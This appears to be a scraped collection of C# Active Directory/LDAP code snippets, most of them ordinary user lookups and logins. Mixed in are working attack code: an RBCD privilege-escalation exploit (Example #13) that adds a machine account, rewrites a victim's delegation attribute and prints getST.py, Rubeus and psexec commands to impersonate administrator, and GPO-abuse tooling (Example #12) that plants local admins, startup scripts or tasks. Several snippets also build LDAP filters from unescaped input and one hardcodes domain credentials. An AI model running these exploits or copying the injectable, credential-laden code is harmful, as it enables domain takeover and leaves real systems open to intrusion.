Example #1
0
        private void LDAPQuery(string LDAPUrl, string domain, string userID, string password)
        {
            System.Net.Mail.MailAddress                mailAddres;
            System.DirectoryServices.DirectoryEntry    directoryEntry;
            System.DirectoryServices.DirectorySearcher directorySearcher;
            System.DirectoryServices.SearchResult      searchResult;

            if (this.IsMailAddress(userID, out mailAddres) && mailAddres != null)
            {
                userID = mailAddres.User;
                domain = mailAddres.Host;
            }

            if (userID.Contains("\\"))
            {
                domain = userID.Substring(0, userID.IndexOf('\\'));
                userID = userID.Substring(userID.IndexOf('\\') + 1);
            }

            directoryEntry    = new System.DirectoryServices.DirectoryEntry(LDAPUrl, string.Format("{0}\\{1}", domain, userID), password);
            directorySearcher = new System.DirectoryServices.DirectorySearcher(directoryEntry);
            directorySearcher.ClientTimeout = new TimeSpan(3000);

            directorySearcher.Filter = string.Format("(SAMAccountName={0})", userID);
            searchResult             = directorySearcher.FindOne();

            if (searchResult == null)
            {
                throw new Exception("Not found Valid User");
            }
            else
            {
                Config.Client.SetAttribute("System.DirectoryServices.SearchResult", searchResult);
            }
        }
Example #2
0
        }// end:PublishRMContent()

        // ------------------ GetGetDefaultWindowsUserName() ------------------
        /// <summary>
        ///   Returns the email address of the current user.</summary>
        /// <returns>
        ///   The email address of the current user.</returns>
        static internal string GetDefaultWindowsUserName()
        {
            // Get the identity of the currently logged in user.
            System.Security.Principal.WindowsIdentity wi;
            wi = System.Security.Principal.WindowsIdentity.GetCurrent();

            // Get the user's domain and alias.
            string[] splitUserName = wi.Name.Split('\\');

            System.DirectoryServices.DirectorySearcher src =
                new System.DirectoryServices.DirectorySearcher();
            src.SearchRoot = new System.DirectoryServices.DirectoryEntry(
                                                "LDAP://" + splitUserName[0]);

            src.PropertiesToLoad.Add("mail");

            src.Filter = String.Format("(&(objectCategory=person) " +
                "(objectClass=user) (SAMAccountName={0}))",
                splitUserName[1]);

            System.DirectoryServices.SearchResult result = src.FindOne();

            // Return the email address of the currently logged in user.
            return ((string)result.Properties["mail"][0]);
        }// end:GetDefaultWindowsUserName()
Example #3
0
        public DomainPolicy(System.DirectoryServices.DirectoryEntry domainRoot)
        {
            string[] policyAttributes = new string[] {
                "maxPwdAge", "minPwdAge", "minPwdLength",
                "lockoutDuration", "lockOutObservationWindow",
                "lockoutThreshold", "pwdProperties",
                "pwdHistoryLength", "objectClass",
                "distinguishedName"
            };

            //we take advantage of the marshaling with
            //DirectorySearcher for LargeInteger values...
            System.DirectoryServices.DirectorySearcher ds = new System.DirectoryServices.DirectorySearcher(domainRoot, "(objectClass=domainDNS)"
                                                                                                           , policyAttributes, System.DirectoryServices.SearchScope.Base
                                                                                                           );
            System.DirectoryServices.SearchResult result = ds.FindOne();

            //do some quick validation...
            if (result == null)
            {
                throw new System.ArgumentException("domainRoot is not a domainDNS object.");
            }

            this.attribs = result.Properties;
        }
Example #4
0
        public static string GetUserEmail(WindowsIdentity UserIdentity)
        {
            string tempCurrentUserEmail = null;
            var    UserName             = UserIdentity.Name;

            UserName = UserName.Substring(UserName.IndexOf("\\") + 1);
            var Entry = new System.DirectoryServices.DirectoryEntry("LDAP://RootDSE");
            var sFQDN = System.Convert.ToString(Entry.Properties["defaultNamingContext"].Value);
            var myDE  = new System.DirectoryServices.DirectoryEntry("LDAP://" + sFQDN);

            var mySearcher = new System.DirectoryServices.DirectorySearcher(myDE);

            mySearcher.Filter = "sAMAccountName=" + UserName;
            mySearcher.PropertiesToLoad.Add("Mail");
            try
            {
                var myresult = mySearcher.FindOne();
                tempCurrentUserEmail = System.Convert.ToString(myresult.Properties["Mail"][0]);
            }
            catch (Exception ex)
            {
                throw new ApplicationException("Could not establish an email address for user '" + UserName + "' : " + ex.Message);
            }

            return(tempCurrentUserEmail);
        }
        private string ObtenerPrimaryDomain(string Dominio, string Usuario, string Clave)
        {
            ///''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ///''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            //               DESCRIPCION DE VARIABLES LOCALES
            //strDominio     : Nombre del dominio a verificar
            //objDirectorio  : Entrada del directorio
            //strPath        : Ubicación del recurso a buscar en el Active Directory
            //strItem        : Valor de array
            //strRet         : Valor de reotorno
            //objVerif       : Objeto DirectorySearcher que se utiliza para verificar si el dominio
            //                 existe
            //objResultado   : Resultado de la búsqueda
            ///''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            string strDominio = Dominio;

            System.DirectoryServices.DirectoryEntry objDirectorio = null;
            string strPath = null;
            string strItem = null;
            string strRet  = string.Empty;

            System.DirectoryServices.DirectorySearcher objVerif     = default(System.DirectoryServices.DirectorySearcher);
            System.DirectoryServices.SearchResult      objResultado = default(System.DirectoryServices.SearchResult);

            //Si se envia un nombre de dominio en formato NETBIOS se incorpora la palabra local
            if (strDominio.IndexOf('.') == -1)
            {
                strDominio += ".local";
            }
            strPath = "LDAP://";
            foreach (string strItem_loopVariable in strDominio.Split('.'))
            {
                strItem  = strItem_loopVariable;
                strPath += "DC=";
                strPath += strItem;
                strPath += ",";
            }
            strPath = strPath.Substring(0, strPath.Length - 1);

            try
            {
                objDirectorio = new System.DirectoryServices.DirectoryEntry(strPath, Usuario, Clave);
                objVerif      = new System.DirectoryServices.DirectorySearcher(objDirectorio, "(objectClass=domain)");
                objResultado  = objVerif.FindOne();

                if ((objResultado != null))
                {
                    strRet = strDominio;
                }
            }
            catch (Exception)
            {
                return("");
            }
            finally
            {
                objDirectorio.Close();
            }
            return(strRet);
        }
Example #6
0
        private bool AuthenticateUser(string domain, string user, string password)
        {
            bool result = false;

            try
            {
                System.DirectoryServices.DirectoryEntry    de = new System.DirectoryServices.DirectoryEntry("LDAP://" + domain, user, password);
                System.DirectoryServices.DirectorySearcher ds = new System.DirectoryServices.DirectorySearcher(de);
                System.DirectoryServices.SearchResult      sr = null;
                sr     = ds.FindOne();
                result = true;
            }
            catch
            {
                result = false;
            }
            return(result);
        }
        public HttpResponseMessage getActiveDirectoryUserDetail(HttpRequestMessage request, string loginid)
        {
            return(GetHttpResponse(request, () =>
            {
                HttpResponseMessage response = null;

                loginid = loginid.Replace("FORWARDSLASHXTER", "/").Trim();
                loginid = loginid.Replace("DOTXTER", ".").Trim();

                string connection = ConfigurationManager.ConnectionStrings["ADConnectionString"].ToString();

                System.DirectoryServices.DirectorySearcher dssearch = new System.DirectoryServices.DirectorySearcher(connection);
                dssearch.Filter = "(sAMAccountName=" + loginid + ")";
                System.DirectoryServices.SearchResult sresult = dssearch.FindOne();
                System.DirectoryServices.DirectoryEntry dsresult = sresult.GetDirectoryEntry();

                string firstname = Convert.ToString(dsresult.Properties["givenName"].Value);
                string lastname = Convert.ToString(dsresult.Properties["sn"].Value);  //sn means surname
                //string empid = Convert.ToString(dsresult.Properties["employeeID"].Value);
                string empid = Convert.ToString(dsresult.Properties["company"].Value);
                //string empno = Convert.ToString(dsresult.Properties["employeeNumber"].Value);
                string mail = Convert.ToString(dsresult.Properties["mail"].Value);


                var ADuserdetail = new UserSetup()
                {
                    //LoginID = loginid,
                    //Name = "Taiwo",
                    //Email = "*****@*****.**",
                    //StaffID = "empid"

                    LoginID = loginid,
                    Name = firstname + " " + lastname,
                    Email = mail,
                    StaffID = empid
                };

                response = request.CreateResponse <UserSetup>(HttpStatusCode.OK, ADuserdetail);

                return response;
            }));
        }
        /// <summary>
        /// Apply the conversion from username to email address.
        /// </summary>
        /// <param name="username">The username.</param>
        /// <returns>The email address.</returns>
        public string Convert(string username)
        {
            string ldapPath   = @"LDAP://" + domainName;
            string ldapFilter = @"(&(objectClass=user)(SAMAccountName=" + username + "))";

            string[] ldapProperties = { ldap_Mail, ldap_QueryField };

            System.DirectoryServices.DirectoryEntry domain;
            if (ldap_LogOnUser.Length > 0)
            {
                domain = new System.DirectoryServices.DirectoryEntry(ldapPath, ldap_LogOnUser, ldap_LogOnPassword.PrivateValue);
            }
            else
            {
                domain = new System.DirectoryServices.DirectoryEntry(ldapPath);
            }


            System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(domain);
            System.DirectoryServices.SearchResult      result;

            searcher.Filter = ldapFilter;
            searcher.PropertiesToLoad.AddRange(ldapProperties);

            result = searcher.FindOne();

            searcher.Dispose();

            // Check the result
            if (result != null)
            {
                return(result.Properties[ldap_Mail][0].ToString());
            }
            else
            {
                Core.Util.Log.Debug(string.Format(System.Globalization.CultureInfo.CurrentCulture, "No email adress found for user {0} in domain {1}", username, domainName));
                return(null);
            }
        }
Example #9
0
        public bool Authenticate(string domain, string userName, string password, out ActiveDirectoryUser adResult)
        {
            adResult = null;

            string domainAndUsername = domain + @"\" + userName;

            System.DirectoryServices.DirectoryEntry entry = new System.DirectoryServices.DirectoryEntry("LDAP://dis.dk", domainAndUsername, password);

            try
            {   // Bind to the native AdsObject to force authentication.
                object obj = entry.NativeObject;

                System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(entry);

                search.Filter = "(SAMAccountName=" + userName + ")";
                search.PropertiesToLoad.Add("DisplayName");
                search.PropertiesToLoad.Add("ObjectSID");
                System.DirectoryServices.SearchResult result = search.FindOne();

                if (null == result)
                {
                    return(false);
                }

                string sid = new SecurityIdentifier((byte[])result.Properties["objectSid"][0], 0).ToString();

                adResult             = new ActiveDirectoryUser();
                adResult.DisplayName = (string)result.Properties["DisplayName"][0];
                adResult.UserSID     = sid;
            }
            catch (Exception ex)
            {
                return(false);
            }

            return(true);
        }
Example #10
0
        public bool IsAuthenticated(Models.ViewModel.LoginViewModel user)
        {
            bool   bResult           = false;
            string domainAndUsername = @"office\" + user.UserID;

            try
            {
#if !DEBUG
                System.DirectoryServices.DirectoryEntry entry = new System.DirectoryServices.DirectoryEntry("LDAP://192.168.222.5", domainAndUsername, user.Password);
                Object obj = entry.NativeObject;
                System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(entry);
                search.Filter = "(SAMAccountName=" + user.UserID + ")";
                search.PropertiesToLoad.Add("cn");
                System.DirectoryServices.SearchResult result = search.FindOne();
                if (result == null)
                {
                    bResult = false;
                }
                else
                {
                    bResult = true;
                }
#endif
#if DEBUG
                bResult = true;
#endif
            }
            catch (Exception ex)
            {
                bResult = false;
            }
            finally
            {
            }
            return(bResult);
        }
Example #11
0
        private bool ValidateUser(String username, String password)
        {
            bool validate = false;

            String sql_password = "";

            String SQLString = "SELECT email, password, reports, maintenance FROM users WHERE email = @email";

            try
            {
                System.Configuration.Configuration config = System.Web.Configuration.WebConfigurationManager.OpenWebConfiguration("~/");
                using (SqlConnection connection = new SqlConnection(config.ConnectionStrings.ConnectionStrings["MarshFormsConnectionString"].ConnectionString))
                {
                    connection.Open();
                    using (SqlCommand cmd = new SqlCommand(SQLString, connection))
                    {
                        cmd.Parameters.AddWithValue("@email", username);

                        using (SqlDataReader SQLReader = cmd.ExecuteReader())
                        {
                            if (SQLReader != null)
                            {
                                while (SQLReader.Read())
                                {
                                    sql_password = SQLReader["password"].ToString();
                                }
                            }
                        }
                    }
                }
            }
            catch (Exception e)
            {
                message_label.Text = e.Message.ToString();
                validate           = false;
            }

            if (sql_password == "" && ValidEmail(username))
            {
                String MarshLDAP   = System.Configuration.ConfigurationManager.AppSettings["MarshLDAP"];
                String MarshDomain = System.Configuration.ConfigurationManager.AppSettings["MarshDomain"];
                System.DirectoryServices.DirectoryEntry LDAPDirectoryEntry = new System.DirectoryServices.DirectoryEntry(MarshLDAP, MarshDomain + username, password, System.DirectoryServices.AuthenticationTypes.Secure);
                try
                {
                    System.DirectoryServices.DirectorySearcher LDAPDirectoryService = new System.DirectoryServices.DirectorySearcher(LDAPDirectoryEntry);
                    LDAPDirectoryService.FindOne();
                    validate = true;
                }
                catch (Exception e)
                {
                    message_label.Text = e.Message.ToString();
                    validate           = false;
                }
                finally { }
            }
            else
            {
                if (password == sql_password)
                {
                    validate = true;
                }
                else
                {
                    message_label.Text = "The user name or password is incorrect.";
                    validate           = false;
                }
            }

            //if (Request.Url.ToString().Contains("localhost")) { validate = true; } //locally debugging return true; Backdoor
            return(validate);
        }
Example #12
0
        // Updage GPT.ini so that changes take effect without gpupdate /force
        public static void UpdateVersion(String Domain, String distinguished_name, String GPOName, String path, String function)
        {
            String        line     = "";
            List <string> new_list = new List <string>();

            if (!File.Exists(path))
            {
                Console.WriteLine("[-] Could not find GPT.ini. The group policy might need to be updated manually using 'gpupdate /force'");
            }

            // get the object of the GPO and update its versionNumber
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
            myldapConnection.Path = "LDAP://" + distinguished_name;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            search.Filter = "(displayName=" + GPOName + ")";
            string[] requiredProperties = new string[] { "versionNumber", "gPCMachineExtensionNames" };


            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }

            System.DirectoryServices.SearchResult result = null;
            try
            {
                result = search.FindOne();
            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message + "[!] Exiting...");
                System.Environment.Exit(0);
            }

            int new_ver = 0;

            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();

                // get AD number of GPO and increase it by 1
                new_ver = Convert.ToInt32(entryToUpdate.Properties["versionNumber"].Value) + 1;
                entryToUpdate.Properties["versionNumber"].Value = new_ver;


                // update gPCMachineExtensionNames to add local admin
                if (function == "AddLocalAdmin" || function == "AddNewRights")
                {
                    try
                    {
                        if (!entryToUpdate.Properties["gPCMachineExtensionNames"].Value.ToString().Contains("[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]"))
                        {
                            entryToUpdate.Properties["gPCMachineExtensionNames"].Value += "[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]";
                        }
                    }
                    catch
                    {
                        entryToUpdate.Properties["gPCMachineExtensionNames"].Value = "[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]";
                    }
                }


                // update gPCMachineExtensionNames to add immediate task
                if (function == "NewImmediateTask")
                {
                    try
                    {
                        if (!entryToUpdate.Properties["gPCMachineExtensionNames"].Value.ToString().Contains("[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]"))
                        {
                            entryToUpdate.Properties["gPCMachineExtensionNames"].Value += "[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]";
                        }
                    }
                    catch
                    {
                        entryToUpdate.Properties["gPCMachineExtensionNames"].Value = "[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]";
                    }
                }


                // update gPCMachineExtensionNames to add startup script
                if (function == "NewStartupScript")
                {
                    try
                    {
                        if (!entryToUpdate.Properties["gPCMachineExtensionNames"].Value.ToString().Contains("[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]"))
                        {
                            entryToUpdate.Properties["gPCMachineExtensionNames"].Value += "[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]";
                        }
                    }
                    catch
                    {
                        entryToUpdate.Properties["gPCMachineExtensionNames"].Value = "[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]";
                    }
                }



                try
                {
                    // Commit changes to the security descriptor
                    entryToUpdate.CommitChanges();
                    Console.WriteLine("[+] versionNumber attribute changed successfully");
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] Could not update versionNumber attribute!\nExiting...");
                    System.Environment.Exit(0);
                }
            }
            else
            {
                Console.WriteLine("[!] GPO not found!\nExiting...");
                System.Environment.Exit(0);
            }

            using (System.IO.StreamReader file = new System.IO.StreamReader(path))
            {
                while ((line = file.ReadLine()) != null)
                {
                    if (line.Replace(" ", "").Contains("Version="))
                    {
                        line = line.Split('=')[1];
                        line = "Version=" + Convert.ToString(new_ver);
                    }
                    new_list.Add(line);
                }
            }

            using (System.IO.StreamWriter file2 = new System.IO.StreamWriter(path))
            {
                foreach (string l in new_list)
                {
                    file2.WriteLine(l);
                }
            }
            Console.WriteLine("[+] The version number in GPT.ini was increased successfully.");

            if (function == "AddLocalAdmin")
            {
                Console.WriteLine("[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.\n[+] Done!");
            }

            else if (function == "NewStartupScript")
            {
                Console.WriteLine("[+] The GPO was modified to include a new startup script. Wait for the GPO refresh cycle.\n[+] Done!");
            }

            else if (function == "NewImmediateTask")
            {
                Console.WriteLine("[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.\n[+] Done!");
            }

            else if (function == "AddNewRights")
            {
                Console.WriteLine("[+] The GPO was modified to assign new rights to target user. Wait for the GPO refresh cycle.\n[+] Done!");
            }
        }
Example #13
0
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Usage();
                return;
            }
            var arguments = new Dictionary <string, string>();

            foreach (string argument in args)
            {
                int idx = argument.IndexOf('=');
                if (idx > 0)
                {
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                }
            }

            if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm"))
            {
                Usage();
                return;
            }
            String DomainController            = arguments["dc"];
            String Domain                      = arguments["domain"];
            String new_MachineAccount          = "";
            String new_MachineAccount_password = "";

            //添加的机器账户
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount = arguments["ma"];
            }
            else
            {
                new_MachineAccount = RandomString(8);
            }
            //机器账户密码
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount_password = arguments["mp"];
            }
            else
            {
                new_MachineAccount_password = RandomString(10);
            }

            String victimcomputer    = arguments["tm"];; //需要进行提权的机器
            String machine_account   = new_MachineAccount;
            String sam_account       = "";
            String DistinguishedName = "";

            if (machine_account.EndsWith("$"))
            {
                sam_account     = machine_account;
                machine_account = machine_account.Substring(0, machine_account.Length - 1);
            }
            else
            {
                sam_account = machine_account + "$";
            }
            String distinguished_name        = DistinguishedName;
            String victim_distinguished_name = DistinguishedName;

            String[] DC_array = null;

            distinguished_name        = "CN=" + machine_account + ",CN=Computers";
            victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers";
            DC_array = Domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name        += ",DC=" + DC;
                victim_distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine(victim_distinguished_name);
            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            try{
                //连接ldap
                System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
                //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
                System.DirectoryServices.Protocols.LdapConnection connection = null;
                //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
                connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = true;
                connection.Bind();
                //通过ldap找计算机
                System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
                myldapConnection.Path = "LDAP://" + victim_distinguished_name;
                myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
                System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
                search.Filter = "(CN=" + victimcomputer + ")";
                string[] requiredProperties = new string[] { "samaccountname" };
                foreach (String property in requiredProperties)
                {
                    search.PropertiesToLoad.Add(property);
                }
                System.DirectoryServices.SearchResult result = null;
                try
                {
                    result = search.FindOne();
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                    return;
                }

                //添加机器并设置资源约束委派
                if (result != null)
                {
                    try
                    {
                        var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                            new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
                        });
                        //添加机器账户
                        connection.SendRequest(request);
                        Console.WriteLine("[+] New SAMAccountName = " + sam_account);
                        Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                        Console.WriteLine("[-] Exception: " + ex.Message);
                        return;
                    }
                    // 获取新计算机对象的SID
                    var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
                    var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
                    SecurityIdentifier sid = null;
                    foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
                    {
                        try
                        {
                            sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                            Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                        }
                        catch
                        {
                            Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                            return;
                        }
                    }
                    //设置资源约束委派
                    String sec_descriptor    = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                    RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                    byte[] buffer            = new byte[sd.BinaryLength];
                    sd.GetBinaryForm(buffer, 0);
                    //测试sddl转换结果
                    //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0);
                    //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All));
                    // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                    try
                    {
                        var change_request = new System.DirectoryServices.Protocols.ModifyRequest();
                        change_request.DistinguishedName = victim_distinguished_name;
                        DirectoryAttributeModification modifymsDS = new DirectoryAttributeModification();
                        modifymsDS.Operation = DirectoryAttributeOperation.Replace;
                        modifymsDS.Name      = "msDS-AllowedToActOnBehalfOfOtherIdentity";
                        modifymsDS.Add(buffer);
                        change_request.Modifications.Add(modifymsDS);
                        connection.SendRequest(change_request);
                        Console.WriteLine("[+] Exploit successfully!\n");
                        //打印利用方式
                        Console.WriteLine("[+] Use impacket to get priv!\n");
                        Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain);
                        Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache");
                        Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain);
                        Console.WriteLine("\n\n[+] Use Rubeus.exe to get priv!\n");
                        Console.WriteLine("\nRubeus.exe hash /user:{0} /password:{1} /domain:{2}", machine_account, new_MachineAccount_password, Domain);
                        Console.WriteLine("\nRubeus.exe s4u /user:{0} /rc4:rc4_hmac /impersonateuser:administrator /msdsspn:cifs/{1}.{2} /ptt /dc:{3}", machine_account, victimcomputer, Domain, DomainController);
                        Console.WriteLine("\npsexec.exe \\\\{0}.{1} cmd ", victimcomputer, Domain);
                        Console.WriteLine("\n[+] Done..");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException);
                        Console.WriteLine("[!] Failed...");
                        return;
                    }
                }
            }
            catch (System.Exception ex) {
                Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                return;
            }
        }
        public ActionResult <ADProperties> GetAdsProperties(string userName)
        {
            ADProperties aDProperties = new ADProperties();

            try
            {
                const string LDAP_PATH = "LDAP://10.12.0.8"; //"/CN=VCH USERS,DC=MUSA,DC=net";
                                                             //const string LDAP_DOMAIN = "10.12.0.8";//"exldap.example.com:5555";
                //const string FirstName = "Cinthia";
                //const string LastName = "Schram";
                string titleValue      = "";
                string departmentValue = "";
                using (var ade = new System.DirectoryServices.DirectoryEntry(LDAP_PATH, "vgh\\ngediya", "Ayush080982"))
                    using (var dss = new System.DirectoryServices.DirectorySearcher(ade))
                    {
                        // string filter = @"(&(givenname=" + FirstName + ")(sn=" + LastName + "))";
                        string filter = @"(&(sAMAccountName=" + userName + "))";
                        //dss.Filter = "(sAMAccountName=ngediya)";
                        dss.Filter = filter;
                        System.DirectoryServices.SearchResult   sresult  = dss.FindOne();
                        System.DirectoryServices.DirectoryEntry dsresult = sresult.GetDirectoryEntry();
                        //Console.WriteLine("First Name:" + dsresult.Properties["givenname"][0].ToString());
                        //Console.WriteLine("Last Name:" + dsresult.Properties["cn"][0].ToString());
                        //Console.WriteLine("Full Name:" + dsresult.Properties["name"][0].ToString());
                        //Console.WriteLine("Mail:" + dsresult.Properties["mail"][0].ToString());
                        //Console.WriteLine("LoginId" + dsresult.Properties["sAMAccountName"][0].ToString());

                        foreach (var item in sresult.Properties.PropertyNames)
                        {
                            try
                            {
                                if (dsresult.Properties[item.ToString()].Count > 0)
                                { //Console.WriteLine(item.ToString() + ":" + dsresult.Properties[item.ToString()][0].ToString());
                                    if (item.ToString() == "title")
                                    {
                                        titleValue         = dsresult.Properties[item.ToString()][0].ToString();
                                        aDProperties.Title = titleValue;
                                    }
                                    if (item.ToString() == "department")
                                    {
                                        departmentValue       = dsresult.Properties[item.ToString()][0].ToString();
                                        aDProperties.Location = departmentValue;
                                    }
                                    if (item.ToString() == "givenname")
                                    {
                                        aDProperties.FirstName = dsresult.Properties[item.ToString()][0].ToString();
                                    }
                                    if (item.ToString() == "sn")
                                    {
                                        aDProperties.LastName = dsresult.Properties[item.ToString()][0].ToString();
                                    }
                                    if (item.ToString() == "mail")
                                    {
                                        aDProperties.EmailAddress = dsresult.Properties[item.ToString()][0].ToString();
                                    }
                                }
                            }
                            catch (Exception ex)
                            {
                                //Console.WriteLine("Error ----->" + item.ToString());
                                return(null);
                            }
                        }
                    }

                return(aDProperties);
            }
            catch (Exception ex)
            {
                // _log.Log(LogLevel.Information, ex.Message);
                return(aDProperties);
            }
        }
        /// <summary>
        /// Apply the conversion from username to email address.
        /// </summary>
        /// <param name="username">The username.</param>
        /// <returns>The email address.</returns>
        public string Convert(string username)
        {           
            string ldapPath = @"LDAP://" + domainName;
            string ldapFilter = @"(&(objectClass=user)(SAMAccountName=" + username + "))";
            string[] ldapProperties = { ldap_Mail, ldap_QueryField };

            System.DirectoryServices.DirectoryEntry domain;
            if (ldap_LogOnUser.Length > 0 )
            {
                domain = new System.DirectoryServices.DirectoryEntry(ldapPath,ldap_LogOnUser,ldap_LogOnPassword.PrivateValue);
            }
            else
            {
                domain = new System.DirectoryServices.DirectoryEntry(ldapPath);
            }
            

            System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(domain);
            System.DirectoryServices.SearchResult result;

            searcher.Filter = ldapFilter;
            searcher.PropertiesToLoad.AddRange(ldapProperties);
            
            result = searcher.FindOne();

            searcher.Dispose();

            // Check the result
            if (result != null)
            {
                return result.Properties[ldap_Mail][0].ToString();
            }
            else
            {
                Core.Util.Log.Debug(string.Format(System.Globalization.CultureInfo.CurrentCulture,"No email adress found for user {0} in domain {1}",username,domainName));
                return null;
            }
        }
Example #16
0
        public static void SetSecurityDescriptor(String Domain, String victim_distinguished_name, String victimcomputer, String sid, bool cleanup)
        {
            // get the domain object of the victim computer and update its securty descriptor
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
            myldapConnection.Path = "LDAP://" + victim_distinguished_name;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            search.Filter = "(cn=" + victimcomputer + ")";
            string[] requiredProperties = new string[] { "samaccountname" };

            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }

            System.DirectoryServices.SearchResult result = null;
            try
            {
                result = search.FindOne();
            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message + "Exiting...");
                return;
            }


            if (result != null)
            {
